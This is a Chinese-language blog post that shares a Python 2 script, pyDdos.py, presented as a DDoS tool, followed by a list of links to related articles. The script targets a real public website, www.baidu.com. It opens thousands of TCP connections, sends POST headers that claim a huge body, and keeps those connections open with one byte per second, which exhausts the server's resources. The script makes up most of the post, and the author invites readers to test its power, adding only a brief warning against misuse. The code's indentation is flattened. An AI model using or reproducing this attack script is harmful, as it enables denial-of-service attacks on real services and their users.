python版DDOS攻击脚本


Posted in Python onJune 12, 2019

本文实例为大家分享了python版DDOS攻击脚本,供大家参考,具体内容如下

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了。

附上源码pyDdos.py:

#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
 
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
 global socks
 for i in range(0,MAX_CONN):
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 try:
 s.connect((HOST,PORT))
 s.send(buf)
 print "Send buf OK!,conn=%d\n"%i
 socks.append(s)
 except Exception,ex:
 print "Could not connect to server or send error:%s"%ex
 time.sleep(10)
#end def
 
def send_thread():
 global socks
 while True:
 for s in socks:
 try:
 s.send("f")
 #print "send OK!"
 except Exception,ex:
 print "Send Exception:%s\n"%ex
 socks.remove(s)
 s.close()
 time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

OK,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防DDOS攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
简单介绍Python中的decode()方法的使用
May 18 Python
Python函数可变参数定义及其参数传递方式实例详解
May 25 Python
Python通过select实现异步IO的方法
Jun 04 Python
python 打印出所有的对象/模块的属性(实例代码)
Sep 11 Python
python Tkinter版学生管理系统
Feb 20 Python
Python字符串内置函数功能与用法总结
Apr 16 Python
Python完成毫秒级抢淘宝大单功能
Jun 06 Python
基于python+selenium的二次封装的实现
Jan 06 Python
基于梯度爆炸的解决方法:clip gradient
Feb 04 Python
python 通过文件夹导入包的操作
Jun 01 Python
python实现图像外边界跟踪操作
Jul 13 Python
python读取mnist数据集方法案例详解
Sep 04 Python
selenium处理元素定位点击无效问题
Jun 12 #Python
selenium跳过webdriver检测并模拟登录淘宝
Jun 12 #Python
python3.4 将16进制转成字符串的实例
Jun 12 #Python
python binascii 进制转换实例
Jun 12 #Python
Python3 实现串口两进程同时读写
Jun 12 #Python
详解pyppeteer(python版puppeteer)基本使用
Jun 12 #Python
python实战串口助手_解决8串口多个发送的问题
Jun 12 #Python
You might like
PHP 单引号与双引号的区别
2009/11/24 PHP
使用php将某个目录下面的所有文件罗列出来的方法详解
2013/06/21 PHP
PHP邮件群发机实现代码
2016/02/16 PHP
JavaScript生成随机字符串的方法
2015/03/19 Javascript
非常酷炫的Bootstrap图片轮播动画
2016/05/27 Javascript
如何在Angular.JS中接收并下载PDF
2016/11/26 Javascript
微信小程序实现动态改变view标签宽度和高度的方法【附demo源码下载】
2017/12/05 Javascript
Vue触发式全局组件构建的方法
2018/11/28 Javascript
antd组件Upload实现自己上传的实现示例
2018/12/18 Javascript
[48:12]Secret vs Optic Supermajor 胜者组 BO3 第三场 6.4
2018/06/05 DOTA
python操作MongoDB基础知识
2013/11/01 Python
python使用Flask框架获取用户IP地址的方法
2015/03/21 Python
python判断一个集合是否包含了另外一个集合中所有项的方法
2015/06/30 Python
谈谈如何手动释放Python的内存
2016/12/17 Python
Python使用迭代器捕获Generator返回值的方法
2017/04/05 Python
Python从零开始创建区块链
2018/03/06 Python
python调用百度语音识别api
2018/08/30 Python
对python中dict和json的区别详解
2018/12/18 Python
Django页面数据的缓存与使用的具体方法
2019/04/23 Python
Python远程视频监控程序的实例代码
2019/05/05 Python
Python 的AES加密与解密实现
2019/07/09 Python
关于Python内存分配时的小秘密分享
2019/09/05 Python
python+selenium 脚本实现每天自动登记的思路详解
2020/03/11 Python
Python enumerate() 函数如何实现索引功能
2020/06/29 Python
django form和field具体方法和属性说明
2020/07/09 Python
YOOX美国官方网站:全球著名的多品牌时尚网络概念店
2016/09/11 全球购物
介绍一下Linux中的链接
2016/06/05 面试题
毕业生自我鉴定
2013/12/04 职场文书
英语老师推荐信
2014/02/26 职场文书
经理任命书模板
2014/06/06 职场文书
应届生找工作求职信
2014/06/24 职场文书
飞机制造技术专业求职信
2014/07/27 职场文书
中学生勤俭节约倡议书
2015/04/29 职场文书
2015教师个人年度工作总结
2015/10/23 职场文书
参观监狱警示教育心得体会
2016/01/15 职场文书
HDFS免重启挂载新磁盘
2022/04/06 Servers